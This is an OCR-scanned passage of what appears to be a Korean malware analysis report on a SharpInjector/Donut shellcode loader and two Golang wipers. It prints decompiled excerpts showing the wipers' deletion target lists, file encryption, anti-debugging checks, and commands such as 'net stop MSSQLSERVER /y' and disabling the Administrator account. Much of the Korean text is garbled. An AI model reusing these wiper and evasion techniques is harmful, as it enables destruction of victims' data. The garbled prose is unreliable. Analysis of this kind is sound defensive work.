(cLP.

rityRights.

(hProcess

t4 = ntdl|l.N {hProcess, ntdl|._PROC INFORMAT ION_C
(t4 !=r )

tSetInformationPr

¢ Marked as

is Unmarked as Critical”, cLP.

{hProcess):

0%
kU
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Figure 101. set_critical_process B&H =+
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userAccount )

[] a

ManagementObject m

{userAccount, ringComparison.

£ )t4[ "Name"]

ered {0} proc
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Stage 4. Sharpinjector & Donut Shellcode
- sijpg

- Sharplnjector0|H, §% T2 M|A0| AIEE UMM QE A4 E0ICH

. CIRRBC, MEC A% J|sB EXfolD @F Ao EXols CIR2EC #e Hio|uz)

==}, Fiber 59| 7|52 HMAHE HHOICH

- MD5: 091DO6GES80FFAACOFEDED2BES5E2B48A

: 0, intPtr, array.
nt num;
{130, {intPtr, {uint)array. , 16U, out num))

w Exception{"Failed to change memory protection.”);

nt numz;
intPtr2 = Si. i( .Zero, OU, intPtr, .Zero, 0U, out num2);

f (intPtr2 == .Zero)

¥ Exception("Failed to create thread.");
{intPtr2, t.MaxValue);
(Exception ex)

{"Error: "

ro

gt
|-_L|
[N

Figure 103. O
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& MIME P Visualization | | O 21 HolA | SENERD
© Binary
2 A HC|A == OF[E X
AISE 01 v EEAR1t=] Rt NOEXEC
¥ Binary
(Heur)& 4: JPEG Image[by extension]
Shellcode: Donut(0.9.2)[x86 + AMD64]

oA

AJLIA || >]VirusTotal

%" Extractor {} vARA

00000000 =2

10

og

ng
e
£9
olo

v wn
N
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& MIME P visualization 2 A | SEUERD | Y Extractor || {F VARA
Ore LHELWZ | |EI2FRRI| | &£ BlaA || e NET i:TLS | |E 2H#0l
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Stage 5. Wiper
- prod.jpg

« Golanglz 2dE AHIEZ Wiper &S AL}

1

2= 0 MEECH

+ MD5: 561EDAE73F0021214FAQ2EEOB6G7377D8

- XA AA oA
- Xiso, *ndf *egg* *tmp* *log* *bak* *|df* *swp* *bkf* *copy.* *copy*
*temp* *back* *_log.* *log_.* *backup* *1* *2*
- AH ole] Chef
- *eyp.bak, *LocalLow* *CrashDumps* *D3dSCache* *$Recycle.Bin*
CA\PerfLogs, C\Users\Public, C:\Users\Default, C:\Program Files (x86),
CAProgram Files\WWindows, C:\Program Files\Common Files,
C:\ProgramData, C:\Recovery, C\Windows, CAWInNT, C\$Recycle.Bin,
* backup*
- *dll, xmsi, *exe, *sys, *Idf backup_log.txt
- 0|2 2= m 100704 & AMK|
- [0-9a-f]{8}eyp.bak HHY] mHU AiA
- ZH ol
- h.majestic947@passinbox.com
. HYLE
- backup_log.txt
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*y30 = @XE4D8FF35854E0385uib4;
*&30[5] = BxXE7@SE6C76CE4D8FFuUib4;
for ( i = @i64; i < 13; ++i )
30[1i] -= byte_76@6DC6[1];
28 = runtime_slicebytetostring(v22, v26, v27);// Administrator

Figure 106. 2XE =X 2=

main +E HdHEH 2 TS EYSt UX= ettt A 22Xt A HIZEseh, MS-SQL
Server MH|A SX|, J2|1 T A FEHE 5= P2 L0 = ¢ AL

3 = m_get_str_sub_6F72E@(); // /active:no

39 = 4i64;

38 = aUser; // user

42 = v3; // C:\windows\System32\net.exe

= e
qsEotZ_PKFh_V(&v38, v34, v4, , v28.1len); // net user Administrator /active:no
m_cmd_process_run();

Figure 107. 2|X AlE H|gd2t

m_get_string_sub_6F7540(); // MSSQLSERVER

39 = 4i64;

38 = aStop; // stop

41 = 3i64;

40 = v6; // net

43 = 2i64;

42 = &aY; /11y

qsEotZ_PKFh_V(&v33, &aY, v7, » V29); // net stop MSSQLSERVER /y
m_cmd_process_run();

Figure 108. MS-SQL Server AfH|A SX|
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HE|Xt A Higdgstel MHlA SX £ oMY 2 SEHE fAStE gt SEEHL HSe=
THSl= FEE2 8 A2 HUE S MH = [0-9a-f]{8)eyp.bak'(0|F *eyp.bak 2 FEH) HEH2)
TS MBIt
Vs = gen random_sub_6FBAGR(); // rand 8 characters
if (ve )
1
*&v19 = v6;
*(&v19 + 1) = v2;
}
else
1

=m get filename_path_ fllepath Base(),
runtime_concatstring3(typ, typ 8, v13, v14);// eyp.bak
// [@-9a-f]{8}eyp.bak

r) .
V21 e 3
v23 V73

Ves = VO,

vld = (m_getpath_sub_599520)(2i64);
vlie = 2i64;

m createfile(@x242i64);

Figure 109. [0-9a-f]{8}eyp.bak T AN

0x20 HIO[ERIZS| AE 7|& dd = AO0M HIet *eyp.bak THA| XMHEetct.

Ll e =
lea rax, unk_710E60
mov ebx, 26h ;
mov rcx, rbx
nop dword ptr [rax+26h]
call runtime_makeslice
mov [rsp+318h+var 8], rax
mov ebx, 26h ; '
mov rcx, rbx
call crypto_rand_Read ; create random key(@x20)
nop word ptr [rax+rax+2eh]
test rbx, rbx
jnz loc_6F@F2C
r ] 1
mov rax, [rsp+318h+var_180]
mov rbx, [rsp+318h+var 8]
mov ecx, 286h ; '
mov rdi, rcx

call os__ptr_File_Write ; write random key at [@-9a-f]{8}eyp.bak

Figure 110. 2T 7| &4 3! XMz
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MNE Y Fl= DHE 0x38 HO|EQ| GlOIE{SH B argon2 SAl Aol AFEELL ID BES

O
A3l argon2id SHAIE ot HEE dHAl= AES 7|2 THE ool AFEEL.

i

|eecreDes movups xmmword ptr [rsp+318h+typ], xmml5 ; typ

|2@6FeDe9 movups [rsp+318h+var_3@8], xmmlS5

|e@6cFaeDer movups [rsp+318h+var_2F8], xmml5

|e86FeD15 mov [rsp+318h+var_2E8], 2

|e@6F@D1A mov [rsp+318h+var_2E4], 28h ;

l286FeD22 mov eax, 2

|686FBD27 mov rsi, [rsp+318h+var_38]

|I0B6FOD2F mov rd8d, 26h ; ' '

|@86FBD35 mov r9, r8

|6@6FeD338 mov ried, 1

|6@6FBD3E mov rild, 328eh

|e86FeD44 call m_argon2_sub_64374@ ; argon2.go

|ee6FeDn4s 3

le@6FeD44 ; time cost: exel

|6e6FaD44 5 memory cost: B8x3eee

|lee6FoD44 ; parallelism: @x02

|2@cFaD44 ; hash len: Bx2e

|Be6FeD44 ; type: ID(@x@2)

|ee6cFreDas H

|e26FaD44 ; secret: S4bytes data (coded)

|lee6FeD44 ; salt: random 32bytes data

\2e6FeD44 ;

|6B6FaD44 ;3 secret

|ee6FeD4s ;3 4E 34 68 67 88 15 21 @@ 4B 39 4C 5F 35 6@ @t @6
|e@6FaD44 3 @7 26 @1 39 5C 5F 35 e 5D 79 69 4t 68 6C 47 3B
|6B6FeD44 3 79 57 39 21 2E 48 €1 6D @B 79 35 @F 2A 51 28 eC
|e@6FaD44 :+ 51 3B 27 3B 52 1B 2C 21

Figure 111. =2t 7| M4

Ol MAS AMASte SHE sdot=0 A thY, olel the, olel MES| =40 L2t 27] =

MHE +ASHH HAdt= Zef0|EE A~Z K| 2E 492 & =feleitt

— L= =

lea rdx, m_file_cmp_rm_sub_6F1460

mov qword ptr [rsp+318h+var_48], rdx
mov rdx, [rsp+318h+var_230]

mov [rsp+318h+var_38], rdx

mov rdx, [rsp+318h+var_188] ; filename
mov qword ptr [rsp+318h+var_48+8], rdx
lea rdx, [rsp+318h+var_158]

mov qword ptr [rsp+318h+var_3@], rdx
mov rdx, [rsp+318h+var_168]

mov qword ptr [rsp+318h+var_3@+8], rdx
mov rax, qword ptr [rsp+318h+arg @]
mov rbx, qword ptr [rsp+318h+arg_0+8]
lea rcx, [rsp+318h+var_438]

call m_recursive_dir_vth8hm3_Lk8wC8Zvnv

Figure 112. Y AHIE 28 =EE= g
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backup_log.txt 2 eyp.bak =AEO0| EetE MUl ZY AN CHAOIM Hel=H, ZHES K3
LocalLow, CrashCumps S0| Z&E[] S ZL22t dil, msi, exe & A3 T EXIL 20l =

B0 HelECh

m_string_builder_cpiaQZvpWW_SR2zcfsfbMn();
m_get_str_sub_6F6060(); // backup_log.txt
v1l = m_memory_cmp_sub_403300(v3);

}
if ((vil)
return @;
m_string_builder_cpiaQZvpWW_SR2zcfsfbMn();
if ( (internal_stringslite_Index)(aEypBak) >= @ )// eyp.bak
return @;
if ( m_dir_cmp_sub_6F@9@0() ) // *LocalLow*, *CrashDumps*, *D3dSCache*, *$Recycle.Bin*, C:\PerflLogs,
// C:\Users\Public, C:\Users\Default, C:\Program Files (x86),
// C:\Program Files\Windows, C:\Program Files\Common Files,
// C:\ProgramData, C:\Recovery, C:\Windows,
// C:\WinNT, C:\$Recycle.Bin, *.backup*, backup_log.txt
return @;
m_get_filename_path_filepath_Base();
m_string_builder_cpiaQZvpWW_SR2zcfsfbMn();
if ( (m_file_cmp_sub_6F@6E@) (qword_8C8AS@, v13, v14, v15) )// delete extension
// *.iso, *.ndf, *.egg*, *.tmp*, *.log*, *.bak*, *.1ldf*, *.swp*, *.bkf*,
// *copy.*, *.copy*, *.temp*, *.back*, *_log.*, *log_.*,
// *.backup*, *.1%*, * 2%

{
m_NtSetInformationFile_sub_6F1F28(); // modify file info
m_file_rm_rTaR8yv8d_ZnYDNblUlzpu(); // delete file
return @;

}
else if ( (m_file_cmp_sub_6F@6E@) (qword_8C8A68, v16, v17, v18) )// escape extension
// *.d11, *.msi, *.exe, *.sys, *.1ldf, backup_log.txt

Figure 113. TF AfK| of|2| CHAF 20l A=

T o 4

ollel AUHE  backup_log.txt, *eyp.bak
CAProgram Files\Microsoft SQL Server, C:\Program Files
(x86)\Microsoft SQL Server\MSSQL\Data, *LocalLow*
*CrashDumps* *D3dSCache* *$Recycle.Bin*  C:\PerflLogs,

olel ZC|H  CiUsers\Public, CiUsers\Default, C:A\Program Files (x86),
C\Program Files\Windows, C:\Program Files\Common Files,
C:AProgramData, C:\Recovery, C:\Windows, CAWINNT,
C:\$Recycle.Bin, *backup*

ollel ==Xt dll, .msi, .exe, .sys, .ldf

Table 7. 02| CH& 2|AE

78 &
.copy, 1, .2, .eqgg, .tmp, .log, .bak, bak., .temp, .backup, .back, .Idf,
_log., log_., .swp, .bkf, .iso, .ndf

Table 8. AMH| CHAF 2|AE

APH| CHe



N 2ISh ol CHYT R2A ARNSHE CHY 2 LHHA| DHUo| cheiil= ChSat 20| 100 7H4
B|AEt T U AMNE TIYSHH AR T AF CHY THEe| HO[EHE 812 & tar ZHO= A=S
Radis
J ~
*(v24 = v30;
*(v24 + v29 + 24) = v3;
if ( v21[1] < 1@0 ) // check list size
return 0i64;
~esult = m_archive_tar_file_rm_sub_6F1BA@();
if ( !result )
{
v35[1] = eie4;
return 0i64;
3
Figure 114. Tt WE 2= Sl & MA| &4 =&
tar TIPS HEot Y= = MPS MHols =42 Ch=at 20
/15 = m_archive_tar_header_ZU@285gzaQ_WcApaV(@);// Mode, Name, ModTime, Size
// file.stat()
27[0] -
filename th_filepath Base = m_get_filename_path_filepath_Base();
v27[0];
( ’“[9] +16) = v24;

if ( dword_91958B@ )
{

filename_path
*,16 = fi
16[1] =
*(v1l5 + 8) = filename_path_filepath_Base;
if ( m_archive_tar ZUOZSngaQ ZNZFmZrzqlXp_ |
if ( 'v2e )

goto LABEL_4;
goto LABEL_17;

opyBuffer izNcREhbnA6u_IwzNypT28(&off_7AB
f(v33)

if ( !tv2e )
goto LABEL_4;

goto LABEL_17;
¥
if (v26 )

sub_576C8@();
m_NtSetInformationFile_sub_6F1F2@();
m_file_rm_rTaR8yv8d_ZnYDNblUlzpu();

H—-H 5\#

WriteHeader() )// create & write tar header

3Ce, vl

, v22, v23);// file contents read & write tar

// modify file info
// delete file

Figure 115. &=

|shAf file.stat()2 Sof Tt

o




C
*7 = 48;

*(v7 + 48) = (*(v95 + 56))(); // rTaR8yv8d___ hLmvKgaRk__Size
ptr_high = v82;
vl2 = v86;

}
if ( (ptr_high & oxseeeee) != @ )

vi2[6] |= ex8eeuics;
if ( (ptr high & ex4eeeee) != o )

vi2[6] |= ex4eeuics;
if ( (ptr_high & ex1eeeee) != @ )

v12 [6] |= 9x200u164

8 = (*(v9s + 64))(); // os__ptr_fileStat_Sys
= &unk 725AC8;

Figure 116. file.stat &4 &

tar SIHE MAHSHT[2let Bt~E == PAX EtQ| dIHE TASIT

m_tar_encode_q_sub_59FFC@(1@ei64, v209, aPath, 4i64);// path

v206 = (m_get_str_sub_5A9400)(); // Linkname
v185 = v3e;

v3l = (m_get_str_sub_SAQ?ZB)(); // linkpath
(v2e9[e])(1eei64, v209, v3l, v3e); // m_tar_encode_q_sub_S59FFC@
(v2e9[e])(32i64, v209, aUname_@, 5i64); // uname
(v2e9[e])(32i64, v209, aGname_@, 5i64); // gname
(v2e3[e])(aMode, v203, @i64); // Mode
(v2es[e])(avid, 3, 3ie4); // uid
(v2es[e])(aGid, v203, 3i64); // Gid
(v2es[e])(asSize_@, v203, 4i64); // Size

v32 = (m_ get str_sub_5A9A40)(); // Devmajor
(v2e8[@])(v32, v208, 0i64);

v33 = (m_get_str_sub_5A9D6@)(); // Devminor

3[@])(v33, v2es, eie4);

L= als;

(v2e7[@])(al6, v207, 7i64, aMtime); // mtime

(m get_ str sub_S5AAB88)(); // AccessTime
35 = v34;
vV = al (_|
(v2e7[@])(a19, v207, v35, aAtime); // atime
m_get_ str sub_5AA420(); // ChangeTime
V37 = v36;
o = d‘.-,
o7[e])(a22, v2e7, v37, aCtime); // ctime

Figure 117. tar 8l 14
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Ol MM HO|HE SH0fe} tar THEE FJeltt.

- E)
18 = (*(v1l + 24))(a3); // call os_ ptr_fileWithoutReadFrom_Read_1
// read file contents

.
2

if (vid <=0 )

{ -
goto LABEL_34;

if (vis > v4e )
m_err_sub_464730();

=03

413
21 = (*(v43 + 3))(vis); // call ZU@28SgzaQ__ ZNZFmZrzqlXp_ Write
// tar write

s L a oo

Figure 118. tar &%= 4

tar MES 14 = MM T S48 B TMES AHetth

m_NthtInformationFile_sub_6F1F29(); // modify file info
m_file rm_rTaR8yv8d_ZnYDNblUlzpu(); // delete file

Figure 119. TfY At 22|

AtH| O|F tar T Zstandard(Zstd)E 227t F=SiCt

if ( *(v1 + 48) )

(*(vi[2e] + 46LL))(); // TVCh1155 _ adTY@1V555_ CRC
m_klauspost_compress_zstd_XIB92kWaQ__ PNcgOnwh8tvR__Write(v38);

e e e

Figure 120. Zstandard &%
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2f=El H|oJEf= 0x10000 THP|Z2 AES 2ot Li2[E2| GCM ZEE AMEH 2f2ofeltt.

if ( vi8 < exleele )

m_err_sub_4647380();
m_file_enc_sub_6398E@(*(v4 + 80), v13, @xleeee, v1is - 16);
if ( !m_file_write_sub_63AARB(*(v35 + 72)) )

Figure 121. 0x10000 £ =g}

7] 480 AEE= 2 HEOHH d8=0f oo MR, A AFo Z2FEE= IV 2

DFE AKX 2oz AESHA| §11, M YoetE Tdst= HAX] =252 =M S IV 2

OFX|2F 4 HIO|E2F XOR &S AFE ST

mov ried, [rax+3] 3 IV[8:]

mov rl2, [rsp+7@h+arg_@] ; Block index(or encryption steps)
xor ried, [rl2+4] 5 IV[8:] ~ idx

nop

mov [rax+3], rled ; exCeeeeRAR63

mov rle, [rl2+8] 3 @xCeeel7coes

mov rl3, [rl2+18h] ; exCoeooAoee0

mov rle, [rle+3eh] ; m_aes_gcm_fAafCM__ ydCMaCiqs_S__ Seal
mov rlS, [rsp+7@h+arg_20] ; @xCeOeREER1e

mov [rsp+7@h+var_7@], ri15

mov rl5, [rsp+7@h+arg_28] ; @xleeee

mov [rsp+7@h+var_68], rilS

mov rls, [rsp+7@h+arg_30@] ; ©xleele

mov [rsp+7@h+var_6@8], rils

mov [rsp+7@h+var_58], rdx ; @xCeeeeEEeee

mov [rsp+7@h+var_50], 4

mov [rsp+7@h+var_438], rdi ; @xlee2e

xor ecx, ecx

mov rdi, rill

mov rsi, rax ; @xCoeoeoRAR6R, key

mov rdd, ech ; size

mov r9, ré

mov rax, rl3 ;3 @xCoeoopAcBRe

call rie ; m_aes_gem_fAafCM__ ydCMaCiqs_S_ Seal
mov rdx, [rsp+7@h+arg_0]

inc dword ptr [rdx+4]

add rsp, 7@h

pop rbp

retn

Figure 122. IV 2% 5! gcm.Seal =&
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D= = HOIHE 2o, 2} 258 *bak THEO| &MUz MEettt.

00000000: ©OD 17 B1 EE AB AA 13 D7 57 7A 3A 4D OA A7 15 DE = 2
00000010: 08 D6 86 C1 97 EA 88 C2 52 51 93 1B 36 EE A4 DA RQ. 6...
00000020: 20 ©© FF FF 66 F9 66 0 25 BO 41 48 C5 06 C5 65 .. f.f.% AH.
00000030: 6C 4C 75 A4 CS 51 96 60 ED 3E 77 30 13 A8 57 74 'LLu Q.7 .>w0. Wt
00000040: 9D 78 F1 85 OE FF CC OC AE A2 5B 50 3D D8 10 C9 x. ... .. .. [P=. .
00000050: 8C 2F 68 7E 7F 83 ED 1F 23 C6 8C FO 6E D8 66 B9 . /h~ . # . .n.f
00000060: E3 2C 93 BC OF 03 S5E B9 D9 50 01 E1 1D BB 8B E1 -6 P ......
00000070: 20 4F 20 03 66 9F DA 84 73 9B B6 B7 5B ' 05 BS 0 f N

00000080: 2C 39 4E A1 1E 79 BE BS 11 D6 70 51 69 07 62 3C ,9N. y le b<
00000090: F2 FF 7B 36 63 D8 EA BE 45 CC DC AD FO E3 3A 87 . .{6c. . E. .. . .:.
00000OAD: Cé6 3B 4F BD F9 6D B8 8F 43 BY 49 AC 48 C9 3E Co6 .,0. .m. .c.I.H.>.
000000BO: AB E4 27 53 FE 6C 52 84 17 30 90 99 11 97 ES 6C . 'S 1R. .0. .. .. 1

DOOOFFFO: 4A CE 4D OE EB 78 FD B2 C7 1E 99 30 90 F1 D4 AC J M x . . (-
00010000: 20 FB 75 50 CD 60 8C 3B 5SC EF 08 EF 57 DB 2F E8 .wP.~ ;\. . .W./
00010010: 1A 4C FE 06 82 FO 4E 31 ES OD FE C6 A4 8A DB 4C L. . N1 .. . . L
00010020: 2C DD 5D 14 E9 3E A9 D3 5B F2 BA 97 23 B8 DC 80 ,. ] > [  #
00010030: FC 50 01 17 F2 E4 73 92 AC 5B 6C BE 1B 1F 63 6A P s [1L  cj

0|S At AE L E =
¥ encrypted_file 0x00600B00 0x0001003F 65600 bytes
» Randomkey [ 0x00000000 0x0008001F 32 bytes
RandomKeySize [N 0x00000020 0x80000021 2 bytes
Datasize © 0x00000022 0x80000023 2 bytes
> IV | 0x00000024 0x0080002F 12 bytes
» Encrypteddata = ©x000800030 0x08001002F 65536 bytes
GemTag B 0x00010030 0x0001003F 16 bytes

Figure 123. *bak X

2ol 7| Bz J|EE ArESHA| 87| W20l FA0 LR MEE 0x38 HIOIE secret gl
*bak off M&EE HH7|, IVE LB Izt &= ULt tarzst Y= sliAol= ELS 7171 LRSI
=l

7| W20l &= caold

CE——]
i ——1
L ——

gz ey AcH

decrypted_99cdSb8eeyp.bak tar VES ot= 37 2= 37|
|4 basicrender. PNF 7,588 7,588
] audicendpoint. PNF 6,012 6,012
%] acpi.PNF 10,380 10,380
(7] VSSVC.EXE-6C8FOCE6.pf 6,419 6,419
D SVCHOST.EXE-6A249820.pf 5,660 5,660
5] cems.PNF 24,388 24388
4] basicdisplay.PNF 7,360 7,860
[ ] WsSwapAssessmentTask 3,858 3,858
@ Microsoft-Windows-WindowsSystemAssessme... 69,632 69,632

Figure 124. S71E oY 2[AE
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O|H|¥: h.majestic947@passinbox.com

Sackup g iat - Windows IR
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Fiote] oo 42
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%=1 e sy
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RETHAAM T howiest ic94T80ass | nbae con

!
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T =P8 SEC
o} TH ol

==
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Xl pro= el Ei. ClojEHolA, DI DA sz  GERIN QIS ESo M2 A0 dEo SRl 2 oy @ AUl
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Figure 125. backup_log.txt
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- mod_bea.jpg

« Golanglz 2dE AHIEZ Wiper &S AL}
. EX mdg XR7| Fof [0-9a-f]{8}dngi.bak’ IIU0] XS LalistH Aot 7| A
Moj| ArEEl= HMEZE NMET F AIO|X, HIO|H ALO|X, IV, &S 2tEl H|0|E HElZ

2= 0 MEECH

+ MD5: DC96941E830945E4DOD0777230858554

- XA AA oA
- Xiso, *ndf *egg* *tmp* *log* *bak* *|df* *swp* *bkf* *copy.* *copy*
*temp* *back* *_log.* *log_.* *backup* *1* *2*
« A oflel che
- *eyp.bak, *LocalLow* *CrashDumps* *D3dSCache* *$Recycle.Bin*
CA\PerfLogs, C\Users\Public, C:\Users\Default, C\Program Files (x86),
C\Program Files\Windows, C:\Program Files\Common Files,
C:\ProgramData, C:\Recovery, C\Windows, CA\WInNT, C\$Recycle.Bin,
* backup*
- *dll, xmsi, *exe, *sys, *Idf backup_log.txt
- 0|2 2= m 100744 & AMK|
. [0-9a-f]{8}dngi.bak =i ml AHM
- 79 o|H|
- dongileng.another679@passinbox.com
. HYPLE

- backup_log.txt
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prod.jpg(561EDAE73F0021214FA92EEOB67377D8) MEX} 7|5 A SE0| 4 22 RASIHH
25 2 T v ARBete= HQICE prodjpg o Zlsd St FE2 HQlSHH, XH0|ES
== ettt

AIZEAHE OlE d¥ ot CiE et LK SYS Helots QHE| T 7[-E A&t UCH

NtProtectVirtualMemory & 59
7

K
NtDelayExecution £ Sdll HAAIZLE HAGHH A|AE 2E Soll 2As £LS LRt

for (i =0; i< 4; i=v12)
{ .
vli2 = 13
vs = @83
(m_getstr_sub_6E@C30)(); // NtProtectVirtualMemory
++v12;

runtime_stringtoslicebyte();
Vo = (**(v13 + 16))();
v3 = (runtime_newobject)();
*v3 = unk_9@3483;

[1] &unk_903490;

3[2] = &unk_908498;
v3[3]
/3[4] = &v5;
vPEQy6PTT18A__ ptr XFYABdX0Sg_Syscall();
vil = @8;
m_getstr_sub_6E@GF6@(); // NtQuerySystemTime
runtime_stringtoslicebyte();
VB = (*F(v13 + 16))();
*(runtime_newobject)() = &v11;
vP6Qy6PTT18A  ptr XFYABdX05g Syscall();
vie = -10000000 * (v11 % 10 + 1);
m_getstr_sub_6E£1260(); // NtDelayExecution
runtime_stringtoslicebyte();
V7 = (FF(v13 + 16))();
*((runtime_newobject)() + 8) = &v1o;
vP6Qy6PTT18A__ ptr XFYA8dX0Sg_Syscall();
m_getstr_sub_6E188@(); // NtProtectVirtualMemory
runtime_stringtoslicebyte();

v6 = (FF(v13 + 16))();

W onn
[y
e

Figure 126. QtE| C|HHA T[H #1
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=

NtDelayExecution =t £ HMES $8st=E &4 A = QueryPerformanceCounter £ 3]

=
— =]
Yo AIZHGE Al S=ots oE| CiHE 2=

while ( v41 < 5 )

1
v86 = v4l;
v85 = elapsed_sum;
v103;
v runtime_newcbject(v42, vil);
*y44 = y99:
ZCIVUGYthZU__ptr_EElbsyq_Call();
vEl = -1000000;
m_getstr_sub_6E@630(1); // NtDelayExecution
runtime_stringtoslicebyte();
vas = v95[2];
V46 = *v45;
v78 = (*va45)(); // sub_63236@, xor operation

*(runtime_newcbject(v46, v45) + 8) = &v31;
vP6Qy6PTT18A ptr XFYA8dX0S5g_Syscall();

= viea

98 = vl1e4d ,
*runtlme _newobject(2, 2) = v93;
6 ZCIVUGYthZU__ptr_EElbsyq_Call(); // QueryPerformanceCounter

*,105 .
y H

delta 04 - *v103;
if (%105 )
runtlme _panicdivide();
if (w47 == -1)
c-ﬁpsed = -1000 * delta;
else
elapsed = 1000 * delta /
11 = elapsed + v85;
41 = vB6 + 13
elapsed sum = v11;
}
if ( elapsed_sum / 5 <= 120 ) // avarage <= 120
1

Figure 127. QtE| C|HZ 7|9 #2
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IsDebuggerPresent, NtQueryInformationProcess & Sl CIHASYUS Xste otE| ClHL
TEE ToStn QIO ORMIIXZ AAH ZS AFESHCL.

TY7 T

runtime strlngtosllcebyte(), // IsDebuggerPresent
IsDebuggerPresent = (*v ’*[2])(),
if ( vP6Qy6PTT18A_ ptr_ XFYA8dX05g_Syscall() && !IsDebuggerPresent )

goto LABEL_7;
/76 = @5
m_getstr_sub_6DFE20(); // NtQueryInformationProcess
runtlme _stringtoslicebyte();

s = v7l2l;

r In ationProcess = (*v6)();

untlme newobject(:?, v6);

*vg = -1;
8[1]
5[2]

v3[3]

.3[4] ]

NtQueryInform

3;

vll 5;

if ( vP6Qy6PTT18A_ ptr XFYA8dX05g_Syscall() || !v76 || WtQueryInformationProcess 1

I

NtQ

>

>

>
73
&v7
3;
e;

Figure 128. QtE| C|HZ 7| #3

OFX[THO =2 NtQuerySysteminformation € Sl CIHHE X|3dt= QtE| ClHA ZEE XS]
ULE.

while ( v62 > @ ) // check debugger
// x64dbg, windbg, ghidra

ved = *(vel + 8);

v65 = m_string_builder_dYkuGJt TZSYJY(),

if ( internal strlngsllte Index(v64, v6l, v66, v65) >= 0 )
goto LABEL_32;

Figure 129. QtE| C|HZ 7[H #4
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HE[X A g

Mot MSSQLSERVER, SQLEXPRESS, MYSQL AH|A FX],

J2(d my P RAHE

FdSh=E ez U0 = 5 ULE [X0[F] 22Xt AE ZHet= #E, SQLEXPRESS, MYSQL

AMH|A SX| £}
4 = m_getstr_sub_6E3500(); // [active:yes
36[1] = 4;
36[@] = "user"”;
36[3] = v24;
36[2] = v29;
sols] = vz
20131 = v2ss
v36[7] = v21;
v36[6] = v4; // net
m_ str _combine(4, 4, v25, v36); // net user Administrator /active:yes
Figure 130. &2|X} A
S=m _getstr_ sub\éé3990(), // MSSQLSERVER
vil = 4
v3@ = "stop";
33 = 3;
35 = 2;
vida = "/y";

m_str_combine(3, 3,
m_cmd_process_run(),
v6 = sub_6E3DRB();

"stop"”, &v30);

1
|
wn
rt
Q
o
-

L
nom
L}
-

v3 /y,
m_str_combine(3, 3,
m_cmd_process_run(),
vil = 4;
v3@ = "stop";
vis = 53

3 "MYSQL";
2-
v3 /y,
m_str_combine(3, 3,
m_cmd_process_run(),

"stop", &v30);

"/y", &v30);

// net stop MSSQLSERVER /[y

// SQLEXPRESS

// net stop SQLEXPRESS /[y

// net stop MYSQL /y

Figure 131. H[O|E{H{|0|A
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g8 Xtzlo| Y S MAN = [0-9a-f]{8}dngi.bak'(0|F *dngi.bak 2 FE) HE{| MUS MASICH
[At0|&] eyp.bak -> dngi.bak O|F HZ

V5 = m;gen_random_sub_6DC399(); // rand 8 characters
if (v6 )
1
*&v19 = v6;
*(&v19 + 1) = al;
}
else
{ c

Vs

name_path filepath Base = m_get_filename_path_filepath_Base();// dngi.bak
17;

ilename_path_filepath_Base;

runtime_concatstring3(v2e, v17, vie, *(&/24 + 1), unk_8B66D@, unk_8B66D8);// [@-9a-f]{8}dngi.bak

vil;
m_getpath_sub_587EA0(); // {Drive}:\\[@-9a-f]{8}dngi.bak
vie = 23
m_createfile(@x1B6u, v3, v12, 578);
*0 a

Vio =

Figure 132. [0-9a-f]{8}dngi.bak T A

backup_log.txt 2t dngi.bak ZXtE0| EEHEl TUQI Z AN CHAOIN Xel=H, 2HES X2
LocalLow, CrashCumps S0| Z&E[0] /S 222t dil, msi, exe & A MY 2EXIL 20l =
A0 HQ|=ICt. [Af0[F] # Bold A 21

e o &
olel mMAH  backup_log.txt, *dngi.bak
C:AProgram Files\Microsoft SQL Server, C:\Program Files
(x86)\Microsoft SQL Server\MSSQL\Data, *LocalLow*,
*CrashDumps* *D3dSCache* *$Recycle.Bin* Ci\PerfLogs,
o] =CIY  CiAUsers\Public, C:\Users\Default, C:\Program Files (x86),
C:\Program Files\Windows, C:\Program Files\Common Files;
CiAProgramData, C:\Recovery, C\Windows, CA\WInNT,
C:\$Recycle.Bin, *backup*
ollel =H&Xt  .dll, .msi, .exe, .sys, .ldf
Table 9. 02| CHe 2[AE
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NASH 2R AH| CHANO| El= TUS 20l

=

ot
=
Ral
et

iso, ndf, egg, tmp &
7

S UEE T 2

38 o &
.copy, 1, .2, .egg, .tmp, .log, .bak, bak., .temp, .backup, .back, .Idf,
_log., log_., .swp, .bkf, .iso, .ndf

Table 10. AfH| CHA 2|AE

AP cief

M =eloh ofle] thefah X AHStE the o LHHA] THEol| cheiMes ChEa 20| 100 7HA4

c|AEst 7 A AMHE TIASHH AK ™ AH| CHY TS| HIOJHE 12 = tar ZMO=Z U=S

tar = 24, Pzt A4 IV E B MESHE P, *bak IHE0| MEE= e 5 ZE &4{0]

I

SEOMH| 7| Bz 7|¥E AMESH| 7] tZof|, g LHR| MHEE 0x38 HIO|E secret g,

*bak Off M&E HEH7|, IVE &8l m=oret = UCH tarzst Y= iAol EES 717t RO
7| WEOl| 2= CHYOIE HE mUS =reledh = T}

00000000: 6C 4C 75 A4 C5 51 96 60 ED 3E 77 30 13 A8 57 74 1Lu Q ~ >wd Wt

00000010: 9D 78 F1 85 OE FF CC BC AE A2 5B 50 3D D8 18 C9 x [P-...
00000020: 8C 2F 68 7E 7F 83 ED 1F 23 C6 8C FO 6E D8 66 B9 /h~ .. . # . .n.f.
00000030: E3 2C 93 BC OF 03 5E B? D9 50 01 E1 1D BB 8B E1 03 P ......
00000040: 20 4F 20 03 66 9F DA 84 73 9B B6 B7 5B ' 85 BS 0 f (-

00000050: 2C 39 4E A1 1E 79 BE BS 11 D6 70 51 69 07 62 3C ,9N..y. le b<
00000060: F2 FF 7B 36 63 D8 EA BE 45 CC DC AO FO E3 3A 87 . {é6c. . E. ... .:
00000070: Cé6 3B 4F BD F9 6D B8 8F 43 B9 49 AC 48 C9 3E C6 .;0..m..C.I.H.>.
00000080: AB@ E4 27 53 FE 6C 52 84 17 30 90 99 11 97 ES 6C . . 'S 1R. 0. . . . 1
00000090: DB 86 49 17 3A 52 1B 17 36 1B D2 C5S F7 22 F3 F1 . . I :R..6. .. ." .
000000AG: 17 68 F6 FA A8 61 8F 18 91 7B 95 6E B8 F7 32 28 h...a. . . {.n. .2(
000000BO: 09 34 F8 E8 99 DF 37 9A EE E3 43 57 D3 49 76 42 4 .. .7 . CW IvB

DOGOFFFO: 2C DD 5D 14 E9 3E A9 D3 5B F2 BA 97 23 B8 DC 80 ,. ] > [ #
00010000: FC 50 01 17 F2 E4 73 92 AC 5B 6C BE 1B 1F 63 6A .P....S..[l...c]
00010010: D2 CF 1F 2A 3C 6F CF CA 5A 33 57 05 B7 61 DB C2 k<o . Z3W. .a. .
